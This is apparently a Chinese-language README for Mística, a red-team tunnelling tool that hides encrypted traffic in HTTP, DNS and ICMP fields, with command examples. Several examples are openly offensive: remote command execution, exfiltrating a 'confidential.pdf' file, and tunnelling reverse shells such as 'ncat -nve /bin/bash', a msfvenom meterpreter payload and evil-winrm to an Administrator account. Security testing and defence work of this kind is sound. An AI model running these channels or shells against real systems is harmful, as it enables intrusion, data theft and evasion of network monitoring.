![]() |
|---|
| Mística 标志由 JoelGMSec 设计 |
Mística 是一款工具,能够将数据嵌入应用层协议字段中,旨在建立双向通道以实现任意通信。目前,已实现了对 HTTP、HTTPS、DNS 和 ICMP 协议的封装,预计未来还将引入更多协议。
Mística 采用模块化设计,围绕一种自定义传输协议构建,称为 SOTP:简单覆盖传输协议(Simple Overlay Transport Protocol)。数据经过加密、分块后放入 SOTP 数据包中。SOTP 数据包经过编码后嵌入到应用协议的指定字段中,并发送到另一端。
SOTP 层的目标是提供一种通用的二进制传输协议,开销极小。SOTP 数据包可以轻松隐藏或嵌入到合法的应用协议中。同时,SOTP 确保数据包被另一端接收,使用 RC4 加密数据(未来可能变更),并通过轮询机制确保信息能以透明的方式双向流动。
模块与 SOTP 层交互的目的如下:
封装模块和覆盖模块协同工作,以构建自定义应用程序,例如通过 DNS 进行输入重定向,或通过 HTTP 进行远程端口转发。
Mística 的模块化设计便于开发新模块。此外,用户可以轻松复刻现有模块,以使用自定义字段或编码,或修改覆盖模块的行为。
主要包含两个软件组件:
ms.py):使用作为所需应用层协议(HTTP、HTTPS、DNS、ICMP...)服务器的模块。其设计方式允许在单个 ms.py 实例中同时运行多个服务器、封装模块和覆盖模块,尽管此功能尚未完全实现。mc.py):使用作为所需应用层协议(HTTP、HTTPS、DNS、ICMP...)客户端的模块。同一时间只能使用一个覆盖模块和一个封装模块。您可以在以下播放列表中查看 Mística 的部分演示
该项目的依赖项极少。目前:
dnslib。```
python3.7 -m pip install pip --user
pip3.7 install dnslib --user如果您不想在系统上安装Python,可以使用以下便携版本之一:
- https://www.anaconda.com/distribution/#download-section(适用于Windows、Linux和macOS)
- https://github.com/winpython/winpython/releases/tag/2.1.20190928(仅适用于Windows)
## 当前模块
覆盖模块:
- `io`:从标准输入读取,通过SOTP连接发送。从SOTP连接读取,输出到标准输出。
- `shell`:执行通过SOTP连接接收的命令并返回输出。与io模块兼容。
- `tcpconnect`:连接到TCP端口。从套接字读取,通过SOTP连接发送。从SOTP连接读取,通过套接字发送。
- `tcplisten`:绑定到TCP端口。从套接字读取,通过SOTP连接发送。从SOTP连接读取,通过套接字发送。
包装模块:
- `dns`:使用不同方法在DNS查询/响应中对数据进行编码/解码。
- `http`:使用不同方法在HTTP或HTTPS请求/响应中对数据进行编码/解码。
- `icmp`:在ICMP回显请求/响应的数据部分对数据进行编码/解码。
## 使用方法
`ms.py`:Mística 服务器
以下是帮助信息的显示效果:```txt
usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
[-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]
Mistica server. Anything is a tunnel if you're brave enough. Run without
parameters to launch multi-handler mode.
optional arguments:
-h, --help show this help message and exit
-k KEY, --key KEY RC4 key used to encrypt the comunications
-l LIST, --list LIST Lists modules or parameters. Options are: all,
overlays, wrappers, <overlay name>, <wrapper name>
-m MODULES, --modules MODULES
Module pair in single-handler mode. format:
'overlay:wrapper'
-w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
args for the selected overlay module (Single-handler
mode)
-o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
args for the selected wrapper module (Single-handler
mode)
-s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS
args for the selected wrap server (Single-handler
mode)
-v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv
Medium, -vvv High)
Mística 服务器有两个主要模式:
ms.py 时,它允许单个覆盖模块与单个包装模块交互。ms.py 时,用户进入交互式控制台,可以在其中启动多个覆盖模块和包装模块。这些模块将能够在很少限制的情况下相互交互。mc.py: Mística 客户端
以下是帮助信息的显示方式:```txt usage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS] [-o OVERLAY_ARGS]
Mistica client.
optional arguments: -h, --help show this help message and exit -k KEY, --key KEY RC4 key used to encrypt the comunications -l LIST, --list LIST Lists modules or parameters. Options are: all, overlays, wrappers, , -m MODULES, --modules MODULES Module pair. Format: 'overlay:wrapper' -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS args for the selected overlay module -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS args for the selected wrapper module -v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)
### 参数
- `-l, --list` 用于列出 `all` 模块,或仅列出一种类型:(`overlays` 或 `wrappers`),或列出某个模块可通过 `-o`、`-w` 或 `-s` 接受的参数。
- `-k, --key` 用于指定加密覆盖通信的密钥。客户端和服务器端必须相同,目前是强制性的。如果未来实现秘密共享方案,这可能会改变。
- `-m, --modules` 用于指定要使用的模块对。必须使用以下格式:**overlay_module** + **:** + **wrap_module**。该参数也是强制性的。
- `-w, --wrapper-args` 允许为封装模块指定特定配置。
- `-o, --overlay-args` 允许为覆盖模块指定特定配置。
- `-s, --wrap-server-args` 仅出现在 `ms.py` 上。它允许为封装服务器指定特定配置。每个封装模块依赖于一个封装服务器,两者的配置均可调整。
## 示例与高级用法
> 记住,你可以通过输入 `-l <module_name>`(例如 `./ms.py -l dns`)查看模块的所有可接受参数。也要记住使用长且复杂的密钥来保护你的通信!
### HTTP
为了说明 HTTP 封装的不同方法,每个示例都将使用 IO 重定向覆盖模块(`io`)。
- 使用默认 URI 的 HTTP GET 方法,b64 编码,使用 localhost 和 8080 端口(默认值)。
- Mística 服务器端:`./ms.py -m io:http -k "rc4testkey"`
- Mística 客户端:`./mc.py -m io:http -k "rc4testkey"`
- 使用默认 URI 的 HTTP GET 方法,b64 编码,**指定 IP 地址和端口**。
- Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -s "--hostname x.x.x.x --port 10000"`
- Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 10000"`
- 使用 **自定义 URI** 的 HTTP GET 方法,b64 编码,使用 localhost 和 8080 端口(默认值)。
- Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- 使用 **自定义头部** 的 HTTP GET 方法,b64 编码,使用 localhost 和 8080 端口(默认值)。
- Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- 使用默认字段的 HTTP **POST** 方法,b64 编码,使用 localhost 和 8080 端口(默认值)。
- Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -w "--method POST"`
- Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--method POST"`
- 使用 **自定义头部** 的 HTTP **POST** 方法,b64 编码,使用 localhost 和 8080 端口(默认值)。
- Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- 使用 **自定义字段** 的 HTTP **POST** 方法,b64 编码,使用 localhost 和 8080 端口(默认值)。
- Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- 使用 **自定义字段、自定义数据包大小、自定义重试次数、自定义超时时间,并指定 IP 和端口** 的 HTTP **POST** 方法,b64 编码:
- Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10" -s "--hostname 0.0.0.0 --port 8088 --timeout 30"`
- Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088"`
- 使用 **自定义字段** 的 HTTP **POST** 方法,b64 编码,**使用自定义错误模板**,使用 localhost 和 8080 端口(默认值)。
- Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data" -s "--error-file /tmp/custom_error_template.html --error-code 408"`
- Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- 使用默认 URI 的 HTTP GET 方法,b64 编码,使用 **自定义 HTTP 响应码**,使用 localhost 和 8080 端口(默认值):
- Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- 使用默认 URI 的 HTTPS GET 方法,b64 编码,使用 443 端口。必须在 Mística 服务器端生成证书才能使用 ssl 选项,Mística 客户端只需接收 ssl 标志:
- Mística 服务器端:
- `openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes`
- `sudo ./ms.py -m io:http -k "rc4testkey" -s "--port 443 --ssl --ssl-cert server.pem"`
- Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--ssl --port 443"`
- 使用默认 URI 的 HTTP GET 方法,b64 编码,在 Mística 客户端中使用代理服务器(可用于 HTTP 通信必须经过公司代理的环境,而计算机配置中未指定代理)。使用 Burpsuite 测试以下示例:
- Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -s "--port 8000 --timeout 30"`
- Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--proxy 127.0.0.1:8080 --port 8000 --poll-delay 30 --response-timeout 30"`
### DNS
为了说明 DNS 封装的不同方法,每个示例都将使用 IO 重定向覆盖模块(`io`)。
- TXT 查询,使用 localhost 和 5353 端口(默认值):
- Mística 服务器端:`./ms.py -m io:dns -k "rc4testkey"`
- Mística 客户端:`./mc.py -m io:dns -k "rc4testkey"`
- NS 查询,使用 localhost 和 5353 端口(默认值):
- Mística 服务器端:`./ms.py -m io:dns -k "rc4testkey" -w "--queries NS"`
- Mística 客户端:`./mc.py -m io:dns -k "rc4testkey" -w "--query NS"`
- CNAME 查询,使用 localhost 和 5353 端口(默认值):
- Mística 服务器端:`./ms.py -m io:dns -k "rc4testkey" -w "--queries CNAME"`
- Mística 客户端:`./mc.py -m io:dns -k "rc4testkey" -w "--query CNAME"`
- MX 查询,使用 localhost 和 5353 端口(默认值):
- Mística 服务器端:`./ms.py -m io:dns -k "rc4testkey" -w "--queries MX"`
- Mística 客户端:`./mc.py -m io:dns -k "rc4testkey" -w "--query MX"`
- SOA 查询,使用 localhost 和 5353 端口(默认值):
- Mística 服务器端:`./ms.py -m io:dns -k "rc4testkey" -w "--queries SOA"`
- Mística 客户端:`./mc.py -m io:dns -k "rc4testkey" -w "--query SOA"`
- TXT 查询,使用 localhost 和 5353 端口(默认值)以及 **自定义域名**:
- Mística 服务器端:`./ms.py -m io:dns -k "rc4testkey" -w "--domains mistica.dev sotp.es"`
- Mística 客户端:
- `./mc.py -m io:dns -k "rc4testkey" -w "--domain sotp.es"`
- `./mc.py -m io:dns -k "rc4testkey" -w "--domain mistica.dev"`
- TXT 查询,指定端口和主机名:
- Mística 服务器端:`./ms.py -m io:dns -k "rc4testkey" -s "--hostname 0.0.0.0 --port 1337"`
- Mística 客户端:`./mc.py -m io:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 1337"`
- TXT 查询,使用多个子域名:
- Mística 服务器端:`./ms.py -m io:dns -k "rc4testkey"`
- Mística 客户端:`./mc.py -m io:dns -k "rc4testkey" -w "--multiple --max-size 169"`
### ICMP
Linux 内核在接收到 ICMP 回显请求数据包时,默认会自动响应一个 ICMP 回显应答数据包(不给我们任何回复选项)。因此,我们必须禁用 ICMP 响应,以便能够发送包含与客户端发送数据不同的自定义数据包。为此,请执行以下操作:
通过编辑 `/etc/sysctl.conf` 文件禁用内核的自动 ICMP 响应(需要 *root 权限*):
- 将以下行添加到你的 /etc/sysctl.conf 文件中:```
net.ipv4.icmp_echo_ignore_all=1
sysctl -p 使其生效。现在,为了展示 ICMP 封装的不同方法,每个示例都将使用 IO 重定向覆盖模块(io)。
./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"./mc.py -m io:icmp -k "rc4testkey" -w "--hostname x.x.x.x"你可以通过结合使用 io 和 shell 模块,在自定义通道上利用 mística 实现远程命令执行。例如:
通过 DNS 使用 TXT 查询在客户端系统上执行命令。
sudo ./ms.py -m io:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53"./mc.py -m shell:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53"通过 HTTP 使用 GET 请求在服务端系统上执行命令:
./ms.py -m shell:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000"./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000"通过 ICMP 在客户端系统上执行命令:
./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"./mc.py -m shell:icmp -k "rc4testkey" -w "--hostname x.x.x.x"通过 HTTP 使用 IO 模块和重定向操作符来外泄文件:
./ms.py -m io:http -s "--hostname 0.0.0.0 --port 80" -k "rc4testkey" -vv > confidential.pdftype confidential.pdf | E:\Mistica\WPy64-3741\python-3.7.4.amd64\python.exe .\mc.py -m io:http -w "--hostname x.x.x.x --port 80" -k "rc4testkey" -vv127.0.0.1:4444 将被转发到服务端的地址 127.0.0.1:5555。服务端的 5555 端口必须已经有程序在监听。
./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"127.0.0.1:4444 将被转发到客户端的地址 127.0.0.1:5555。客户端的 5555 端口必须已经有程序在监听。
sudo ./ms.py -m tcplisten:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"./mc.py -m tcpconnect:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"已创建了一个 Docker 镜像用于本地使用。这样,如果只是测试工具,我们就不必安装 Python 或 dnslib,而且对于调试等场景也非常有用,因为它可以避免其他本地应用产生的噪音。构建镜像只需按以下步骤操作:
* 其次,使用以下命令创建网络:```
sudo docker network create misticanw
* 第四次运行客户端:```
sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash
Mística 是一个用 Python 开发的工具,这意味着,理论上,它可以被编译。
要编译该工具,我们将使用 Pyinstaller,这个工具允许我们生成一个二进制文件(取决于我们当前的操作系统),这意味着我们不能像在 C、C++、Golang、Rust 等其他语言中那样进行交叉编译。我们正在努力实现这一目标,不过,我们为您提供 Pyinstaller 命令,该命令将允许我们在任何操作系统中编译 Mística:
由于 Mística 客户端没有依赖项,它可以直接用 Pyinstaller 编译。要编译它,请按照以下步骤操作:
* 现在,使用以下命令编译 Mística Client:```
pyinstaller --onefile \
--hiddenimport overlay.client.io \
--hiddenimport overlay.client.shell \
--hiddenimport overlay.client.tcpconnect \
--hiddenimport overlay.client.tcplisten \
--hiddenimport wrapper.client.http \
--hiddenimport wrapper.client.dns \
--hiddenimport wrapper.client.icmp \
--hiddenimport overlay.server.io \
--hiddenimport overlay.server.shell \
--hiddenimport overlay.server.tcpconnect \
--hiddenimport overlay.server.tcplisten \
--hiddenimport wrapper.server.wrap_module.http \
--hiddenimport wrapper.server.wrap_module.dns \
--hiddenimport wrapper.server.wrap_module.icmp \
--hiddenimport wrapper.server.wrap_server.httpserver \
--hiddenimport wrapper.server.wrap_server.dnsserver \
--hiddenimport wrapper.server.wrap_server.icmpserver \
mc.py
如果你想编译 Mística Server,你需要使用 Pip 全局安装 Dnslib 库(记住这是 Mística 唯一的依赖,且仅用于 Mística Server)。为此,你需要遵循以下步骤:
pip install dnslib(不带 "--user" 标志,这样它将被全局安装到系统上,否则 pyinstaller 将无法将其添加为隐藏导入。此步骤需要管理员权限)pip install pyinstaller。## 未来工作
- 交叉编译方法,以便能够为目标操作系统之外的多个操作系统编译Mistica。
- 用于SOTP协议的透明Diffie-Hellman密钥生成
- 多处理程序模式:`ms.py`的交互模式。这将允许用户在一个包装服务器上组合多个覆盖层、多个包装器和多个包装模块。
- 自定义模块开发的模块开发文档。目前不建议这样做,因为模块规范仍在开发中。
- 下一个模块:
- SMB包装器
- RAT和RAT处理程序覆盖层
- SOCKS代理和动态端口转发覆盖层
- 文件传输覆盖层
- RDP包装器
- 用于更复杂封装的自定义HTTP模板
- 自定义客户端或服务器的SOTP协议规范文档。目前不建议这样做,因为该协议仍在开发中。
## 作者与许可证
本项目由Carlos Fernández Sánchez和Raúl Caro Teixidó开发。代码基于GNU通用公共许可证v3发布。
本项目使用了第三方开源代码,特别是:
- [Bitstring](https://github.com/scott-griffiths/bitstring)由Scott Griffiths开发。
- [一个二进制安全的RC4实现](https://github.com/DavidBuchanan314/rc4)由David Buchanan开发。
- [一个无依赖的DNS客户端](https://github.com/vlasebian/simple-dns-client)由Vlad Vitan开发。
- [一个无依赖的ICMP服务器和客户端](https://github.com/rcaroncd/ICMPack/)由Raul Caro开发。
nc -nlvp 5555./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"ncat -nve /bin/bash 127.0.0.1 4444meterpreter_reverse_tcp(Linux)。使用 msfvenom -p linux/x64/meterpreter_reverse_tcp LPORT=4444 LHOST=127.0.0.1 -f elf -o meterpreter_reverse_tcp_localhost_4444.bin 生成 payload。
msfconsole 并使用以下命令启动 handler:handler -p linux/x64/meterpreter_reverse_tcp -H 127.0.0.1 -P 5555sudo ./ms.py -m tcpconnect:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"./mc.py -m tcplisten:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"./meterpreter_reverse_tcp_localhost_4444.bin./ms.py -m tcplisten:icmp -s "--iface eth0" -k "rc4testkey" -o "--address 127.0.0.1 --port 5555 --persist" -vvpython.exe .\mc.py -m tcpconnect:icmp -w "--hostname x.x.x.x" -k "rc4testkey" -o "--address x.x.x.x --port 5985 --persist" -vvevil-winrm -u Administrador -i 127.0.0.1 -P 5555